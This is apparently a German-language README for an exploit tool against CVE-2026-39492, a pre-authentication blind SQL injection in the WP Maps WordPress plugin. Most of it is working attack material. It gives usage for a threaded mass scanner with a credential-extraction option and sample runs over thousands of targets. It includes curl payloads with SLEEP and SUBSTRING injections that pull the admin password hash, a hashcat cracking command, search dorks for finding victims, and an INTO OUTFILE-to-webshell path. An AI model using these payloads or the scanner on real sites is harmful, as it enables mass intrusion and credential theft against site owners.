
CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 Unauthenticated Blind SQL Injection Mass Scanner | sqlmap-style detection | backtick bypass esc_sql() | 100K+ installs
CVE-2026-39492 ist eine kritische (CVSS 9.3) nicht authentifizierte blinde SQL-Injection-Schwachstelle im WP Maps-Plugin (wp-google-map-plugin) in Versionen ≤ 4.9.1.
Der AJAX-Handler wpgmp_ajax_call wird über wp_ajax_nopriv_ für nicht authentifizierte Zugriffe registriert. Der Parameter location_id wird durch FlipperCode_Model_Base::is_column() geleitet – eine Funktion, die Backtick-umhüllte Eingaben fälschlicherweise als vertrauenswürdige SQL-Spaltenkennung behandelt und damit die esc_sql()-Bereinigung von WordPress vollständig umgeht.
| WP Maps Version | Status |
|---|---|
| ≤ 4.9.1 | Verwundbar |
| ≥ 4.9.2 | Gepatched |
Aktive Installationen: 100.000+
In der Datenbank-Abstraktionsschicht des Plugins prüft is_column(), ob die Benutzereingabe in Backticks eingeschlossen ist:
// Verwundbar: Backtick-umhüllte Eingabe wird als vertrauenswürdiger Spaltenbezeichner behandelt
function is_column($value) {
if (preg_match('/^`.*`$/', $value)) {
return true; // umgeht esc_sql() vollständig!
}
return false;
}
Wenn is_column() true zurückgibt, wird die Eingabe ohne esc_sql()-Escaping direkt an die SQL-Abfrage übergeben. Dies ermöglicht:
location_id=`1` AND SLEEP(5) AND `1`=`1`
1. Erkenne WP Maps über readme.txt → extrahiere Version
2. POST an /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. Injiziere Backtick-umhülltes Payload im Parameter location_id
4. Messe Antwortzeit – SLEEP(N) bestätigt SQL-Injection
5. Extrahiere Daten über Boolean/Time-Based-Blind-Technik
git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt
# Einzelnes Ziel erkennen
python cve_2026_39492.py -t ziel.com
# Massen-Scan
python cve_2026_39492.py -f ziele.txt
# Massen-Scan + Ergebnisse speichern
python cve_2026_39492.py -f ziele.txt -o sqli.txt
# Einzelnes Ziel mit Credential-Extraktion
python cve_2026_39492.py -t ziel.com --extract -v
# Ausführliche Ausgabe
python cve_2026_39492.py -t ziel.com -v
-t, --target Einzelnes Ziel (Domain oder IP)
-f, --file Zielliste, eine pro Zeile
-o, --output Verwundbare Ziele in Datei speichern
--threads Gleichzeitige Worker (Standard: 20)
--extract Admin-Credentials aus bestätigten Zielen extrahieren
-v, --verbose Detaillierte Ausgabe anzeigen
$ python cve_2026_39492.py -t ziel.com -v
CVE-2026-39492 — WP Maps Blind SQL Injection Scanner
CVSS 9.3 | Pre-Auth | wpgmp_ajax_call → Backtick-Bypass
Ziel: WP Maps (wp-google-map-plugin) <= 4.9.1
Vektor: admin-ajax.php?action=wpgmp_ajax_call → location_id
Bypass: Backtick-umhüllte Eingabe umgeht esc_sql()
[+] WP Maps erkannt: v4.9.0
[*] SQLi-Test: 6,2 s (Schwellwert: 5 s)
[+] Blind-SQLi BESTÄTIGT (Antwort: 6,2 s)
Host : ziel.com
WP Maps : JA v4.9.0
SQLi : JA
Antwortzeit : 6,2 s
Zeit : 7,1 s
$ python cve_2026_39492.py -t ziel.com --extract -v
[+] Blind SQLi BESTÄTIGT (Antwort: 5,8 s)
[*] Extrahiere Admin-Credentials via Blind-SQLi...
[*] Extrahiere: admin_user
[*] Extrahiere: $P$BqVg...
Admin-Benutzer : admin_user
Admin-Hash : $P$BqVg7xX...
CVE-2026-39492 WP Maps Blind SQLi Scanner
Ziele: 2500 | Threads: 20
Vektor: wpgmp_ajax_call → location_id Backtick-Bypass
───────────────────────────────────────────────────────
[SQLi] target-vuln.com 6,2 s v4.9.0 antw:6,2 s
[SQLi] wp-maps-site.com 5,8 s v4.8.5 antw:5,8 s
[500/2500] 20% | WP Maps:47 SQLi:12 | current-target.com
───────────────────────────────────────────────────────
Scan abgeschlossen | Zeit: 320 s
───────────────────────────────────────────────────────
Ziele : 2500
WP Maps gef. : 47
SQLi bestät. : 12
Schritt 1 — Plugin erkennen
curl -sk 'https://ziel.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5
Schritt 2 — SQLi mit SLEEP testen
time curl -sk -X POST 'https://ziel.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND SLEEP(5) AND `1`=`1'
# Antwort > 5 Sekunden → VERWUNDBAR
Schritt 3 — Admin-Hash via Blind-SQLi extrahieren
# Erstes Zeichen des Admin-Hash prüfen
time curl -sk -X POST 'https://ziel.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'
# Antwort > 3 Sekunden → erstes Zeichen ist ASCII 36 = '$'
Schritt 4 — Hash cracken & einloggen → vollständige RCE
hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt
body="wp-google-map-plugin"
http.html:"wp-google-map-plugin"
Eine erfolgreiche Ausnutzung ermöglicht die Extraktion der gesamten WordPress-Datenbank:
SELECT ... INTO OUTFILE → Webshell → direkte RCENUR ZU BILDUNGSZWECKEN UND AUTORISIERTEN TESTS.
Diese Software ist vorgesehen für Sicherheitsexperten, die autorisierte Penetrationstests durchführen, für Organisationen, die ihre eigene Infrastruktur auditieren, und für Forscher, die Schwachstellenausnutzung untersuchen.
Unautorisierter Zugriff auf Computersysteme ist illegal und kann Folgendes verletzen:
- Vereinigte Staaten: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesien: UU ITE Pasal 30 & 46
- Europäische Union: Richtlinie 2013/40/EU
- Vereinigtes Königreich: Computer Misuse Act 1990
Die Autoren übernehmen keine Haftung für Missbrauch.
Dieses Projekt ist weder mit Flipper Code noch mit WP Maps verbunden.
| Metrik | Wert |
|---|
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Berechtigungen | Keine |
| Benutzerinteraktion | Keine |
| Auswirkungsbereich | Geändert (betrifft gesamte DB) |
| Vertraulichkeit | Hoch |
| Integrität | Keine |
| Verfügbarkeit | Niedrig |
| Ressource | Link |
|---|
| IONIX Advisory | ionix.io/threat-center/cve-2026-39492 |
| WPScan Advisory | wpscan.com/vulnerability/c1f19d2e |
| Wordfence Advisory | wordfence.com |
| NVD-Eintrag | CVE-2026-39492 |
| Plugin Trac | wp-google-map-plugin |